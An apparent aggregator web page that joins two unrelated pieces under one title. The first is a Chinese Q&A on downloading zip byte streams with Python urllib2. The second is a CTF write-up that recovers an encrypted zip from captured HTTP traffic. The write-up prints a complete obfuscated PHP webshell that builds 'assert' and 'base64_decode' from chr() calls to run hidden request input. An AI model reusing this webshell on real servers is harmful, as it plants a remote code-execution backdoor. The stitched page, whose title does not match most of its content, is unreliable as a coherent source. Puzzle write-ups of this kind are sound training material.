python 怎么读取网络zip字节流,并保存到本地zip文件中?
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了python 怎么读取网络zip字节流,并保存到本地zip文件中?相关的知识,希望对你有一定的参考价值。
url = "网络zip的地址"path = "你本地的地址"
req = urllib2.urlopen(url)
data = req.read()
with open(path, "wb") as zip:
zip.write(data)
req.close()
如果解决了您的问题请采纳!
如果未解决请继续追问
传过来的不是网络zip地址,不单单只有zip,还有其他数据,是以json数据传送的,比如data =\'mac\':‘……’,\'log\':\'……\',而这个log后面的值就是zip包的字节流。
追答是zip包的字节流,还是网络url,其实这两种你都可以使用上面那个修改一下了。
如果是url,那上面那个基本不用修改,如果是字节流,更方便了,都不用获取了,直接把data换成字节流。
[纵横网络靶场社区]隐藏的黑客
upload
文件夹是一堆webshell
流量包含有部分HTTP
流量,发现了一个webshell.zip
;foremost
尝试分离并没有直接分离出来,猜测可能混合了一些其他数据导致没有直接分离出zip文件。尝试导出HTTP对象
导出的文件夹中发现一些字节流文件,其中发现了zip
的字节流数据
使用010 Editor
打开,去掉前面5个干扰字节,重命名为flag.zip
有加密,真加密;尝试爆破无果,猜测upload
文件夹下的webshell密码中可能存在压缩包密码。Python简单处理提取出这些密码,另存为一个字典文件。
import re
import os
name_list = os.listdir('./upload')
password_list = []
for name in name_list:
file_pwd = './upload/' + name
with open(file_pwd, 'r') as f:
content = f.read()
password_list += re.findall('\\[(.*)\\]', content)
with open('password.txt', 'w') as f1:
for pswd in password_list:
f1.write(pswd+'\\n')
使用ARCHPR
指定字典爆破即可
压缩包密码:7b8b965ad4bca
得到webshell.php
<?php
error_reporting(0);
@$c = array("1JFUVVFU1RbJzlhNzJjM","2Q1ZTc0ZjYwNTFiYjNiMzU","5MGZhOTMxOWZlJ10pOw","MGZhOTMxOWZlJ","MGZhOTMxOWZlJ");
@$str="ZXZhbCgkX";
@$o0o00o00o00o0o0 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
@$ooo00o0o0o0o0o0 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
@$count = 0;
for($x=0;$x<=9;$x++){
if (in_array($x, @$c)){
@$str=@$str.@$c[@$count];
if ($count == 2)
{
@$o0o00o00o00o0o0(@$ooo00o0o0o0o0o0(@$str));
}
@$count++;
}
}
?>
双引号包裹,输出结果即可。
flag为
9a72c3d5e74f6051bb3b3590fa9319fe
以上是关于python 怎么读取网络zip字节流,并保存到本地zip文件中?的主要内容,如果未能解决你的问题,请参考以下文章